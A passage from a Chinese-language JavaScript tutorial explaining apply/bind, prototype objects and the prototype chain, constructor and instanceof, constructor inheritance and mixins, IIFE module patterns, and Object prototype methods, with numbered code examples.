空元素与undefined的差别在于,数组的forEach方法会跳过空元素,但是不会跳过undefined。因此,遍历内部元素的时候,会得到不同的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var a = ['a', , 'b'];

function print(i) {
console.log(i);
}

a.forEach(print)
// a
// b

Array.apply(null, a).forEach(print)
// a
// undefined
// b

(3)转换类似数组的对象

另外,利用数组对象的slice方法,可以将一个类似数组的对象(比如arguments对象)转为真正的数组。

1
2
3
4
Array.prototype.slice.apply({0: 1, length: 1}) // [1]
Array.prototype.slice.apply({0: 1}) // []
Array.prototype.slice.apply({0: 1, length: 2}) // [1, undefined]
Array.prototype.slice.apply({length: 1}) // [undefined]

上面代码的apply方法的参数都是对象,但是返回结果都是数组,这就起到了将对象转成数组的目的。从上面代码可以看到,这个方法起作用的前提是,被处理的对象必须有length属性,以及相对应的数字键。

(4)绑定回调函数的对象

前面的按钮点击事件的例子,可以改写如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
var o = new Object();

o.f = function () {
console.log(this === o);
}

var f = function (){
o.f.apply(o);
// 或者 o.f.call(o);
};

// jQuery 的写法
$('#button').on('click', f);

上面代码中,点击按钮以后,控制台将会显示true。由于apply方法(或者call方法)不仅绑定函数执行时所在的对象,还会立即执行函数,因此不得不把绑定语句写在一个函数体内。更简洁的写法是采用下面介绍的bind方法。

Function.prototype.bind()

bind方法用于将函数体内的this绑定到某个对象,然后返回一个新函数。

1
2
3
4
5
var d = new Date();
d.getTime() // 1481869925657

var print = d.getTime;
print() // Uncaught TypeError: this is not a Date object.

上面代码中,我们将d.getTime方法赋给变量print,然后调用print就报错了。这是因为getTime方法内部的this,绑定Date对象的实例,赋给变量print以后,内部的this已经不指向Date对象的实例了。

bind方法可以解决这个问题。

1
2
var print = d.getTime.bind(d);
print() // 1481869925657

上面代码中,bind方法将getTime方法内部的this绑定到d对象,这时就可以安全地将这个方法赋值给其他变量了。

bind方法的参数就是所要绑定this的对象,下面是一个更清晰的例子。

1
2
3
4
5
6
7
8
9
10
var counter = {
count: 0,
inc: function () {
this.count++;
}
};

var func = counter.inc.bind(counter);
func();
counter.count // 1

上面代码中,counter.inc方法被赋值给变量func。这时必须用bind方法将inc内部的this,绑定到counter,否则就会出错。

this绑定到其他对象也是可以的。

1
2
3
4
5
6
7
8
9
10
11
12
13
var counter = {
count: 0,
inc: function () {
this.count++;
}
};

var obj = {
count: 100
};
var func = counter.inc.bind(obj);
func();
obj.count // 101

上面代码中,bind方法将inc方法内部的this,绑定到obj对象。结果调用func函数以后,递增的就是obj内部的count属性。

bind还可以接受更多的参数,将这些参数绑定原函数的参数。

1
2
3
4
5
6
7
8
9
10
11
var add = function (x, y) {
return x * this.m + y * this.n;
}

var obj = {
m: 2,
n: 2
};

var newAdd = add.bind(obj, 5);
newAdd(5) // 20

上面代码中,bind方法除了绑定this对象,还将add函数的第一个参数x绑定成5,然后返回一个新函数newAdd,这个函数只要再接受一个参数y就能运行了。

如果bind方法的第一个参数是nullundefined,等于将this绑定到全局对象,函数运行时this指向顶层对象(浏览器为window)。

1
2
3
4
5
6
function add(x, y) {
return x + y;
}

var plus5 = add.bind(null, 5);
plus5(10) // 15

上面代码中,函数add内部并没有this,使用bind方法的主要目的是绑定参数x,以后每次运行新函数plus5,就只需要提供另一个参数y就够了。而且因为add内部没有this,所以bind的第一个参数是null,不过这里如果是其他对象,也没有影响。

bind方法有一些使用注意点。

(1)每一次返回一个新函数

bind方法每运行一次,就返回一个新函数,这会产生一些问题。比如,监听事件的时候,不能写成下面这样。

1
element.addEventListener('click', o.m.bind(o));

上面代码中,click事件绑定bind方法生成的一个匿名函数。这样会导致无法取消绑定,所以,下面的代码是无效的。

1
element.removeEventListener('click', o.m.bind(o));

正确的方法是写成下面这样:

1
2
3
4
var listener = o.m.bind(o);
element.addEventListener('click', listener);
// ...
element.removeEventListener('click', listener);

(2)结合回调函数使用

回调函数是 JavaScript 最常用的模式之一,但是一个常见的错误是,将包含this的方法直接当作回调函数。解决方法就是使用bind方法,将counter.inc绑定counter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var counter = {
count: 0,
inc: function () {
'use strict';
this.count++;
}
};

function callIt(callback) {
callback();
}

callIt(counter.inc.bind(counter));
counter.count // 1

上面代码中,callIt方法会调用回调函数。这时如果直接把counter.inc传入,调用时counter.inc内部的this就会指向全局对象。使用bind方法将counter.inc绑定counter以后,就不会有这个问题,this总是指向counter

还有一种情况比较隐蔽,就是某些数组方法可以接受一个函数当作参数。这些函数内部的this指向,很可能也会出错。

1
2
3
4
5
6
7
8
9
10
11
12
var obj = {
name: '张三',
times: [1, 2, 3],
print: function () {
this.times.forEach(function (n) {
console.log(this.name);
});
}
};

obj.print()
// 没有任何输出

上面代码中,obj.print内部this.timesthis是指向obj的,这个没有问题。但是,forEach方法的回调函数内部的this.name却是指向全局对象,导致没有办法取到值。稍微改动一下,就可以看得更清楚。

1
2
3
4
5
6
7
8
9
10
obj.print = function () {
this.times.forEach(function (n) {
console.log(this === window);
});
};

obj.print()
// true
// true
// true

解决这个问题,也是通过bind方法绑定this

1
2
3
4
5
6
7
8
9
10
obj.print = function () {
this.times.forEach(function (n) {
console.log(this.name);
}.bind(this));
};

obj.print()
// 张三
// 张三
// 张三

(3)结合call方法使用

利用bind方法,可以改写一些 JavaScript 原生方法的使用形式,以数组的slice方法为例。

1
2
3
[1, 2, 3].slice(0, 1) // [1]
// 等同于
Array.prototype.slice.call([1, 2, 3], 0, 1) // [1]

上面的代码中,数组的slice方法从[1, 2, 3]里面,按照指定位置和长度切分出另一个数组。这样做的本质是在[1, 2, 3]上面调用Array.prototype.slice方法,因此可以用call方法表达这个过程,得到同样的结果。

call方法实质上是调用Function.prototype.call方法,因此上面的表达式可以用bind方法改写。

1
2
var slice = Function.prototype.call.bind(Array.prototype.slice);
slice([1, 2, 3], 0, 1) // [1]

上面代码的含义就是,将Array.prototype.slice变成Function.prototype.call方法所在的对象,调用时就变成了Array.prototype.slice.call。类似的写法还可以用于其他数组方法。

1
2
3
4
5
6
7
8
9
var push = Function.prototype.call.bind(Array.prototype.push);
var pop = Function.prototype.call.bind(Array.prototype.pop);

var a = [1 ,2 ,3];
push(a, 4)
a // [1, 2, 3, 4]

pop(a)
a // [1, 2, 3]

如果再进一步,将Function.prototype.call方法绑定到Function.prototype.bind对象,就意味着bind的调用形式也可以被改写。

1
2
3
4
5
6
7
function f() {
console.log(this.v);
}

var o = { v: 123 };
var bind = Function.prototype.call.bind(Function.prototype.bind);
bind(f, o)() // 123

上面代码的含义就是,将Function.prototype.bind方法绑定在Function.prototype.call上面,所以bind方法就可以直接使用,不需要在函数实例上使用。

参考链接

对象的继承

面向对象编程很重要的一个方面,就是对象的继承。A 对象通过继承 B 对象,就能直接拥有 B 对象的所有属性和方法。这对于代码的复用是非常有用的。

大部分面向对象的编程语言,都是通过“类”(class)实现对象的继承。传统上,JavaScript 语言的继承不通过 class,而是通过“原型对象”(prototype)实现,本章介绍 JavaScript 的原型链继承。

ES6 引入了 class 语法,基于 class 的继承不在这个教程介绍,请参阅《ES6 标准入门》一书的相关章节。

原型对象概述

构造函数的缺点

JavaScript 通过构造函数生成新对象,因此构造函数可以视为对象的模板。实例对象的属性和方法,可以定义在构造函数内部。

1
2
3
4
5
6
7
8
9
function Cat (name, color) {
this.name = name;
this.color = color;
}

var cat1 = new Cat('大毛', '白色');

cat1.name // '大毛'
cat1.color // '白色'

上面代码中,Cat函数是一个构造函数,函数内部定义了name属性和color属性,所有实例对象(上例是cat1)都会生成这两个属性,即这两个属性会定义在实例对象上面。

通过构造函数为实例对象定义属性,虽然很方便,但是有一个缺点。同一个构造函数的多个实例之间,无法共享属性,从而造成对系统资源的浪费。

1
2
3
4
5
6
7
8
9
10
11
12
13
function Cat(name, color) {
this.name = name;
this.color = color;
this.meow = function () {
console.log('喵喵');
};
}

var cat1 = new Cat('大毛', '白色');
var cat2 = new Cat('二毛', '黑色');

cat1.meow === cat2.meow
// false

上面代码中,cat1cat2是同一个构造函数的两个实例,它们都具有meow方法。由于meow方法是生成在每个实例对象上面,所以两个实例就生成了两次。也就是说,每新建一个实例,就会新建一个meow方法。这既没有必要,又浪费系统资源,因为所有meow方法都是同样的行为,完全应该共享。

这个问题的解决方法,就是 JavaScript 的原型对象(prototype)。

prototype 属性的作用

JavaScript 继承机制的设计思想就是,原型对象的所有属性和方法,都能被实例对象共享。也就是说,如果属性和方法定义在原型上,那么所有实例对象就能共享,不仅节省了内存,还体现了实例对象之间的联系。

下面,先看怎么为对象指定原型。JavaScript 规定,每个函数都有一个prototype属性,指向一个对象。

1
2
function f() {}
typeof f.prototype // "object"

上面代码中,函数f默认具有prototype属性,指向一个对象。

对于普通函数来说,该属性基本无用。但是,对于构造函数来说,生成实例的时候,该属性会自动成为实例对象的原型。

1
2
3
4
5
6
7
8
9
10
function Animal(name) {
this.name = name;
}
Animal.prototype.color = 'white';

var cat1 = new Animal('大毛');
var cat2 = new Animal('二毛');

cat1.color // 'white'
cat2.color // 'white'

上面代码中,构造函数Animalprototype属性,就是实例对象cat1cat2的原型对象。原型对象上添加一个color属性,结果,实例对象都共享了该属性。

原型对象的属性不是实例对象自身的属性。只要修改原型对象,变动就立刻会体现在所有实例对象上。

1
2
3
4
Animal.prototype.color = 'yellow';

cat1.color // "yellow"
cat2.color // "yellow"

上面代码中,原型对象的color属性的值变为yellow,两个实例对象的color属性立刻跟着变了。这是因为实例对象其实没有color属性,都是读取原型对象的color属性。也就是说,当实例对象本身没有某个属性或方法的时候,它会到原型对象去寻找该属性或方法。这就是原型对象的特殊之处。

如果实例对象自身就有某个属性或方法,它就不会再去原型对象寻找这个属性或方法。

1
2
3
4
5
cat1.color = 'black';

cat1.color // 'black'
cat2.color // 'yellow'
Animal.prototype.color // 'yellow';

上面代码中,实例对象cat1color属性改为black,就使得它不再去原型对象读取color属性,后者的值依然为yellow

总结一下,原型对象的作用,就是定义所有实例对象共享的属性和方法。这也是它被称为原型对象的原因,而实例对象可以视作从原型对象衍生出来的子对象。

1
2
3
Animal.prototype.walk = function () {
console.log(this.name + ' is walking');
};

上面代码中,Animal.prototype对象上面定义了一个walk方法,这个方法将可以在所有Animal实例对象上面调用。

原型链

JavaScript 规定,所有对象都有自己的原型对象(prototype)。一方面,任何一个对象,都可以充当其他对象的原型;另一方面,由于原型对象也是对象,所以它也有自己的原型。因此,就会形成一个“原型链”(prototype chain):对象到原型,再到原型的原型……

如果一层层地上溯,所有对象的原型最终都可以上溯到Object.prototype,即Object构造函数的prototype属性。也就是说,所有对象都继承了Object.prototype的属性。这就是所有对象都有valueOftoString方法的原因,因为这是从Object.prototype继承的。

那么,Object.prototype对象有没有它的原型呢?回答是Object.prototype的原型是nullnull没有任何属性和方法,也没有自己的原型。因此,原型链的尽头就是null

1
2
Object.getPrototypeOf(Object.prototype)
// null

上面代码表示,Object.prototype对象的原型是null,由于null没有任何属性,所以原型链到此为止。Object.getPrototypeOf方法返回参数对象的原型,具体介绍请看后文。

读取对象的某个属性时,JavaScript 引擎先寻找对象本身的属性,如果找不到,就到它的原型去找,如果还是找不到,就到原型的原型去找。如果直到最顶层的Object.prototype还是找不到,则返回undefined。如果对象自身和它的原型,都定义了一个同名属性,那么优先读取对象自身的属性,这叫做“覆盖”(overriding)。

注意,一级级向上,在整个原型链上寻找某个属性,对性能是有影响的。所寻找的属性在越上层的原型对象,对性能的影响越大。如果寻找某个不存在的属性,将会遍历整个原型链。

举例来说,如果让构造函数的prototype属性指向一个数组,就意味着实例对象可以调用数组方法。

1
2
3
4
5
6
7
8
9
var MyArray = function () {};

MyArray.prototype = new Array();
MyArray.prototype.constructor = MyArray;

var mine = new MyArray();
mine.push(1, 2, 3);
mine.length // 3
mine instanceof Array // true

上面代码中,mine是构造函数MyArray的实例对象,由于MyArray.prototype指向一个数组实例,使得mine可以调用数组方法(这些方法定义在数组实例的prototype对象上面)。最后那行instanceof表达式,用来比较一个对象是否为某个构造函数的实例,结果就是证明mineArray的实例,instanceof运算符的详细解释详见后文。

上面代码还出现了原型对象的constructor属性,这个属性的含义下一节就来解释。

constructor 属性

prototype对象有一个constructor属性,默认指向prototype对象所在的构造函数。

1
2
function P() {}
P.prototype.constructor === P // true

由于constructor属性定义在prototype对象上面,意味着可以被所有实例对象继承。

1
2
3
4
5
6
function P() {}
var p = new P();

p.constructor === P // true
p.constructor === P.prototype.constructor // true
p.hasOwnProperty('constructor') // false

上面代码中,p是构造函数P的实例对象,但是p自身没有constructor属性,该属性其实是读取原型链上面的P.prototype.constructor属性。

constructor属性的作用是,可以得知某个实例对象,到底是哪一个构造函数产生的。

1
2
3
4
5
function F() {};
var f = new F();

f.constructor === F // true
f.constructor === RegExp // false

上面代码中,constructor属性确定了实例对象f的构造函数是F,而不是RegExp

另一方面,有了constructor属性,就可以从一个实例对象新建另一个实例。

1
2
3
4
5
function Constr() {}
var x = new Constr();

var y = new x.constructor();
y instanceof Constr // true

上面代码中,x是构造函数Constr的实例,可以从x.constructor间接调用构造函数。这使得在实例方法中,调用自身的构造函数成为可能。

1
2
3
Constr.prototype.createCopy = function () {
return new this.constructor();
};

上面代码中,createCopy方法调用构造函数,新建另一个实例。

constructor属性表示原型对象与构造函数之间的关联关系,如果修改了原型对象,一般会同时修改constructor属性,防止引用的时候出错。

1
2
3
4
5
6
7
8
9
10
11
12
function Person(name) {
this.name = name;
}

Person.prototype.constructor === Person // true

Person.prototype = {
method: function () {}
};

Person.prototype.constructor === Person // false
Person.prototype.constructor === Object // true

上面代码中,构造函数Person的原型对象改掉了,但是没有修改constructor属性,导致这个属性不再指向Person。由于Person的新原型是一个普通对象,而普通对象的constructor属性指向Object构造函数,导致Person.prototype.constructor变成了Object

所以,修改原型对象时,一般要同时修改constructor属性的指向。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 坏的写法
C.prototype = {
method1: function (...) { ... },
// ...
};

// 好的写法
C.prototype = {
constructor: C,
method1: function (...) { ... },
// ...
};

// 更好的写法
C.prototype.method1 = function (...) { ... };

上面代码中,要么将constructor属性重新指向原来的构造函数,要么只在原型对象上添加方法,这样可以保证instanceof运算符不会失真。

如果不能确定constructor属性是什么函数,还有一个办法:通过name属性,从实例得到构造函数的名称。

1
2
3
function Foo() {}
var f = new Foo();
f.constructor.name // "Foo"

instanceof 运算符

instanceof运算符返回一个布尔值,表示对象是否为某个构造函数的实例。

1
2
var v = new Vehicle();
v instanceof Vehicle // true

上面代码中,对象v是构造函数Vehicle的实例,所以返回true

instanceof运算符的左边是实例对象,右边是构造函数。它会检查右边构建函数的原型对象(prototype),是否在左边对象的原型链上。因此,下面两种写法是等价的。

1
2
3
v instanceof Vehicle
// 等同于
Vehicle.prototype.isPrototypeOf(v)

上面代码中,Object.prototype.isPrototypeOf的详细解释见后文。

由于instanceof检查整个原型链,因此同一个实例对象,可能会对多个构造函数都返回true

1
2
3
var d = new Date();
d instanceof Date // true
d instanceof Object // true

上面代码中,d同时是DateObject的实例,因此对这两个构造函数都返回true

由于任意对象(除了null)都是Object的实例,所以instanceof运算符可以判断一个值是否为非null的对象。

1
2
3
4
var obj = { foo: 123 };
obj instanceof Object // true

null instanceof Object // false

上面代码中,除了null,其他对象的instanceOf Object的运算结果都是true

instanceof的原理是检查右边构造函数的prototype属性,是否在左边对象的原型链上。有一种特殊情况,就是左边对象的原型链上,只有null对象。这时,instanceof判断会失真。

1
2
3
var obj = Object.create(null);
typeof obj // "object"
Object.create(null) instanceof Object // false

上面代码中,Object.create(null)返回一个新对象obj,它的原型是nullObject.create的详细介绍见后文)。右边的构造函数Objectprototype属性,不在左边的原型链上,因此instanceof就认为obj不是Object的实例。但是,只要一个对象的原型不是nullinstanceof运算符的判断就不会失真。

instanceof运算符的一个用处,是判断值的类型。

1
2
3
4
var x = [1, 2, 3];
var y = {};
x instanceof Array // true
y instanceof Object // true

上面代码中,instanceof运算符判断,变量x是数组,变量y是对象。

注意,instanceof运算符只能用于对象,不适用原始类型的值。

1
2
var s = 'hello';
s instanceof String // false

上面代码中,字符串不是String对象的实例(因为字符串不是对象),所以返回false

此外,对于undefinednullinstanceOf运算符总是返回false

1
2
undefined instanceof Object // false
null instanceof Object // false

利用instanceof运算符,还可以巧妙地解决,调用构造函数时,忘了加new命令的问题。

1
2
3
4
5
6
7
8
function Fubar (foo, bar) {
if (this instanceof Fubar) {
this._foo = foo;
this._bar = bar;
} else {
return new Fubar(foo, bar);
}
}

上面代码使用instanceof运算符,在函数体内部判断this关键字是否为构造函数Fubar的实例。如果不是,就表明忘了加new命令。

构造函数的继承

让一个构造函数继承另一个构造函数,是非常常见的需求。这可以分成两步实现。第一步是在子类的构造函数中,调用父类的构造函数。

1
2
3
4
function Sub(value) {
Super.call(this);
this.prop = value;
}

上面代码中,Sub是子类的构造函数,this是子类的实例。在实例上调用父类的构造函数Super,就会让子类实例具有父类实例的属性。

第二步,是让子类的原型指向父类的原型,这样子类就可以继承父类原型。

1
2
3
Sub.prototype = Object.create(Super.prototype);
Sub.prototype.constructor = Sub;
Sub.prototype.method = '...';

上面代码中,Sub.prototype是子类的原型,要将它赋值为Object.create(Super.prototype),而不是直接等于Super.prototype。否则后面两行对Sub.prototype的操作,会连父类的原型Super.prototype一起修改掉。

另外一种写法是Sub.prototype等于一个父类实例。

1
Sub.prototype = new Super();

上面这种写法也有继承的效果,但是子类会具有父类实例的方法。有时,这可能不是我们需要的,所以不推荐使用这种写法。

举例来说,下面是一个Shape构造函数。

1
2
3
4
5
6
7
8
9
10
function Shape() {
this.x = 0;
this.y = 0;
}

Shape.prototype.move = function (x, y) {
this.x += x;
this.y += y;
console.info('Shape moved.');
};

我们需要让Rectangle构造函数继承Shape

1
2
3
4
5
6
7
8
9
10
11
12
13
// 第一步,子类继承父类的实例
function Rectangle() {
Shape.call(this); // 调用父类构造函数
}
// 另一种写法
function Rectangle() {
this.base = Shape;
this.base();
}

// 第二步,子类继承父类的原型
Rectangle.prototype = Object.create(Shape.prototype);
Rectangle.prototype.constructor = Rectangle;

采用这样的写法以后,instanceof运算符会对子类和父类的构造函数,都返回true

1
2
3
4
var rect = new Rectangle();

rect instanceof Rectangle // true
rect instanceof Shape // true

上面代码中,子类是整体继承父类。有时只需要单个方法的继承,这时可以采用下面的写法。

1
2
3
4
ClassB.prototype.print = function() {
ClassA.prototype.print.call(this);
// some code
}

上面代码中,子类Bprint方法先调用父类Aprint方法,再部署自己的代码。这就等于继承了父类Aprint方法。

多重继承

JavaScript 不提供多重继承功能,即不允许一个对象同时继承多个对象。但是,可以通过变通方法,实现这个功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function M1() {
this.hello = 'hello';
}

function M2() {
this.world = 'world';
}

function S() {
M1.call(this);
M2.call(this);
}

// 继承 M1
S.prototype = Object.create(M1.prototype);
// 继承链上加入 M2
Object.assign(S.prototype, M2.prototype);

// 指定构造函数
S.prototype.constructor = S;

var s = new S();
s.hello // 'hello'
s.world // 'world'

上面代码中,子类S同时继承了父类M1M2。这种模式又称为 Mixin(混入)。

模块

随着网站逐渐变成“互联网应用程序”,嵌入网页的 JavaScript 代码越来越庞大,越来越复杂。网页越来越像桌面程序,需要一个团队分工协作、进度管理、单元测试等等……开发者必须使用软件工程的方法,管理网页的业务逻辑。

JavaScript 模块化编程,已经成为一个迫切的需求。理想情况下,开发者只需要实现核心的业务逻辑,其他都可以加载别人已经写好的模块。

但是,JavaScript 不是一种模块化编程语言,ES6 才开始支持“类”和“模块”。下面介绍传统的做法,如何利用对象实现模块的效果。

基本的实现方法

模块是实现特定功能的一组属性和方法的封装。

简单的做法是把模块写成一个对象,所有的模块成员都放到这个对象里面。

1
2
3
4
5
6
7
8
9
var module1 = new Object({
 _count : 0,
 m1 : function (){
  //...
 },
 m2 : function (){
 //...
 }
});

上面的函数m1m2,都封装在module1对象里。使用的时候,就是调用这个对象的属性。

1
module1.m1();

但是,这样的写法会暴露所有模块成员,内部状态可以被外部改写。比如,外部代码可以直接改变内部计数器的值。

1
module1._count = 5;

封装私有变量:构造函数的写法

我们可以利用构造函数,封装私有变量。

1
2
3
4
5
6
7
8
9
10
11
12
function StringBuilder() {
var buffer = [];

this.add = function (str) {
buffer.push(str);
};

this.toString = function () {
return buffer.join('');
};

}

上面代码中,buffer是模块的私有变量。一旦生成实例对象,外部是无法直接访问buffer的。但是,这种方法将私有变量封装在构造函数中,导致构造函数与实例对象是一体的,总是存在于内存之中,无法在使用完成后清除。这意味着,构造函数有双重作用,既用来塑造实例对象,又用来保存实例对象的数据,违背了构造函数与实例对象在数据上相分离的原则(即实例对象的数据,不应该保存在实例对象以外)。同时,非常耗费内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
function StringBuilder() {
this._buffer = [];
}

StringBuilder.prototype = {
constructor: StringBuilder,
add: function (str) {
this._buffer.push(str);
},
toString: function () {
return this._buffer.join('');
}
};

这种方法将私有变量放入实例对象中,好处是看上去更自然,但是它的私有变量可以从外部读写,不是很安全。

封装私有变量:立即执行函数的写法

另一种做法是使用“立即执行函数”(Immediately-Invoked Function Expression,IIFE),将相关的属性和方法封装在一个函数作用域里面,可以达到不暴露私有成员的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
var module1 = (function () {
 var _count = 0;
 var m1 = function () {
  //...
 };
 var m2 = function () {
  //...
 };
 return {
  m1 : m1,
  m2 : m2
 };
})();

使用上面的写法,外部代码无法读取内部的_count变量。

1
console.info(module1._count); //undefined

上面的module1就是 JavaScript 模块的基本写法。下面,再对这种写法进行加工。

模块的放大模式

如果一个模块很大,必须分成几个部分,或者一个模块需要继承另一个模块,这时就有必要采用“放大模式”(augmentation)。

1
2
3
4
5
6
var module1 = (function (mod){
 mod.m3 = function () {
  //...
 };
 return mod;
})(module1);

上面的代码为module1模块添加了一个新方法m3(),然后返回新的module1模块。

在浏览器环境中,模块的各个部分通常都是从网上获取的,有时无法知道哪个部分会先加载。如果采用上面的写法,第一个执行的部分有可能加载一个不存在空对象,这时就要采用"宽放大模式"(Loose augmentation)。

1
2
3
4
var module1 = (function (mod) {
 //...
 return mod;
})(window.module1 || {});

与"放大模式"相比,“宽放大模式”就是“立即执行函数”的参数可以是空对象。

输入全局变量

独立性是模块的重要特点,模块内部最好不与程序的其他部分直接交互。

为了在模块内部调用全局变量,必须显式地将其他变量输入模块。

1
2
3
var module1 = (function ($, YAHOO) {
 //...
})(jQuery, YAHOO);

上面的module1模块需要使用 jQuery 库和 YUI 库,就把这两个库(其实是两个模块)当作参数输入module1。这样做除了保证模块的独立性,还使得模块之间的依赖关系变得明显。

立即执行函数还可以起到命名空间的作用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(function($, window, document) {

function go(num) {
}

function handleEvents() {
}

function initialize() {
}

function dieCarouselDie() {
}

//attach to the global scope
window.finalCarousel = {
init : initialize,
destroy : dieCarouselDie
}

})( jQuery, window, document );

上面代码中,finalCarousel对象输出到全局,对外暴露initdestroy接口,内部方法gohandleEventsinitializedieCarouselDie都是外部无法调用的。

参考链接

Object 对象的相关方法

JavaScript 在Object对象上面,提供了很多相关方法,处理面向对象编程的相关操作。本章介绍这些方法。

Object.getPrototypeOf()

Object.getPrototypeOf方法返回参数对象的原型。这是获取原型对象的标准方法。

1
2
3
var F = function () {};
var f = new F();
Object.getPrototypeOf(f) === F.prototype // true

上面代码中,实例对象f的原型是F.prototype

下面是几种特殊对象的原型。

1
2
3
4
5
6
7
8
9
// 空对象的原型是 Object.prototype
Object.getPrototypeOf({}) === Object.prototype // true

// Object.prototype 的原型是 null
Object.getPrototypeOf(Object.prototype) === null // true

// 函数的原型是 Function.prototype
function f() {}
Object.getPrototypeOf(f) === Function.prototype // true

Object.setPrototypeOf()

Object.setPrototypeOf方法为参数对象设置原型,返回该参数对象。它接受两个参数,第一个是现有对象,第二个是原型对象。

1
2
3
4
5
6
var a = {};
var b = {x: 1};
Object.setPrototypeOf(a, b);

Object.getPrototypeOf(a) === b // true
a.x // 1

上面代码中,Object.setPrototypeOf方法将对象a的原型,设置为对象b,因此a可以共享b的属性。

new命令可以使用Object.setPrototypeOf方法模拟。

1
2
3
4
5
6
7
8
var F = function () {
this.foo = 'bar';
};

var f = new F();
// 等同于
var f = Object.setPrototypeOf({}, F.prototype);
F.call(f);

上面代码中,new命令新建实例对象,其实可以分成两步。第一步,将一个空对象的原型设为构造函数的prototype属性(上例是F.prototype);第二步,将构造函数内部的this绑定这个空对象,然后执行构造函数,使得定义在this上面的方法和属性(上例是this.foo),都转移到这个空对象上。

Object.create()

生成实例对象的常用方法是,使用new命令让构造函数返回一个实例。但是很多时候,只能拿到一个实例对象,它可能根本不是由构建函数生成的,那么能不能从一个实例对象,生成另一个实例对象呢?

JavaScript 提供了Object.create方法,用来满足这种需求。该方法接受一个对象作为参数,然后以它为原型,返回一个实例对象。该实例完全继承原型对象的属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
// 原型对象
var A = {
print: function () {
console.log('hello');
}
};

// 实例对象
var B = Object.create(A);

Object.getPrototypeOf(B) === A // true
B.print() // hello
B.print === A.print // true

上面代码中,Object.create方法以A对象为原型,生成了B对象。B继承了A的所有属性和方法。

实际上,Object.create方法可以用下面的代码代替。

1
2
3
4
5
6
7
if (typeof Object.create !== 'function') {
Object.create = function (obj) {
function F() {}
F.prototype = obj;
return new F();
};
}

上面代码表明,Object.create方法的实质是新建一个空的构造函数F,然后让F.prototype属性指向参数对象obj,最后返回一个F的实例,从而实现让该实例继承obj的属性。

下面三种方式生成的新对象是等价的。

1
2
3
var obj1 = Object.create({});
var obj2 = Object.create(Object.prototype);
var obj3 = new Object();

如果想要生成一个不继承任何属性(比如没有toStringvalueOf方法)的对象,可以将Object.create的参数设为null

1
2
3
4
var obj = Object.create(null);

obj.valueOf()
// TypeError: Object [object Object] has no method 'valueOf'

上面代码中,对象obj的原型是null,它就不具备一些定义在Object.prototype对象上面的属性,比如valueOf方法。

使用Object.create方法的时候,必须提供对象原型,即参数不能为空,或者不是对象,否则会报错。

1
2
3
4
Object.create()
// TypeError: Object prototype may only be an Object or null
Object.create(123)
// TypeError: Object prototype may only be an Object or null

Object.create方法生成的新对象,动态继承了原型。在原型上添加或修改任何方法,会立刻反映在新对象之上。

1
2
3
4
5
var obj1 = { p: 1 };
var obj2 = Object.create(obj1);

obj1.p = 2;
obj2.p // 2

上面代码中,修改对象原型obj1会影响到实例对象obj2

除了对象的原型,Object.create方法还可以接受第二个参数。该参数是一个属性描述对象,它所描述的对象属性,会添加到实例对象,作为该对象自身的属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var obj = Object.create({}, {
p1: {
value: 123,
enumerable: true,
configurable: true,
writable: true,
},
p2: {
value: 'abc',
enumerable: true,
configurable: true,
writable: true,
}
});

// 等同于
var obj = Object.create({});
obj.p1 = 123;
obj.p2 = 'abc';

Object.create方法生成的对象,继承了它的原型对象的构造函数。

1
2
3
4
5
6
function A() {}
var a = new A();
var b = Object.create(a);

b.constructor === A // true
b instanceof A // true

上面代码中,b对象的原型是a对象,因此继承了a对象的构造函数A

Object.prototype.isPrototypeOf()

实例对象的isPrototypeOf方法,用来判断该对象是否为参数对象的原型。

1
2
3
4
5
6
var o1 = {};
var o2 = Object.create(o1);
var o3 = Object.create(o2);

o2.isPrototypeOf(o3) // true
o1.isPrototypeOf(o3) // true

上面代码中,o1o2都是o3的原型。这表明只要实例对象处在参数对象的原型链上,isPrototypeOf方法都返回true

1
2
3
4
Object.prototype.isPrototypeOf({}) // true
Object.prototype.isPrototypeOf([]) // true
Object.prototype.isPrototypeOf(/xyz/) // true
Object.prototype.isPrototypeOf(Object.create(null)) // false

上面代码中,由于Object.prototype处于原型链的最顶端,所以对各种实例都返回true,只有直接继承自null的对象除外。

Object.prototype.__proto__

实例对象的__proto__属性(前后各两个下划线),返回该对象的原型。该属性可读写。

1
2
3
4
5
var obj = {};
var p = {};

obj.__proto__ = p;
Object.getPrototypeOf(obj) === p // true

上面代码通过__proto__属性,将p对象设为obj对象的原型。

根据语言标准,__proto__属性只有浏览器才需要部署,其他环境可以没有这个属性。它前后的两根下划线,表明它本质是一个内部属性,不应该对使用者暴露。因此,应该尽量少用这个属性,而是用Object.getPrototypeOf()Object.setPrototypeOf(),进行原型对象的读写操作。

原型链可以用__proto__很直观地表示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var A = {
name: '张三'
};
var B = {
name: '李四'
};

var proto = {
print: function () {
console.log(this.name);
}
};

A.__proto__ = proto;
B.__proto__ = proto;

A.print() // 张三
B.print() // 李四

A.print === B.print // true
A.print === proto.print // true
B.print === proto.print // true

上面代码中,A对象和B对象的原型都是proto对象,它们都共享proto对象的print方法。也就是说,ABprint方法,都是在调用proto对象的print方法。

获取原型对象方法的比较

如前所述,__proto__属性指向当前对象的原型对象,即构造函数的prototype属性。

1
2
3
4
5
6
var obj = new Object();

obj.__proto__ === Object.prototype
// true
obj.__proto__ === obj.constructor.prototype
// true

上面代码首先新建了一个对象obj,它的__proto__属性,指向构造函数(Objectobj.constructor)的prototype属性。

因此,获取实例对象obj的原型对象,有三种方法。

  • obj.__proto__
  • obj.constructor.prototype
  • Object.getPrototypeOf(obj)

上面三种方法之中,前两种都不是很可靠。__proto__属性只有浏览器才需要部署,其他环境可以不部署。而obj.constructor.prototype在手动改变原型对象时,可能会失效。

1
2
3
4
5
6
7
8
var P = function () {};
var p = new P();

var C = function () {};
C.prototype = p;
var c = new C();

c.constructor.prototype === p // false

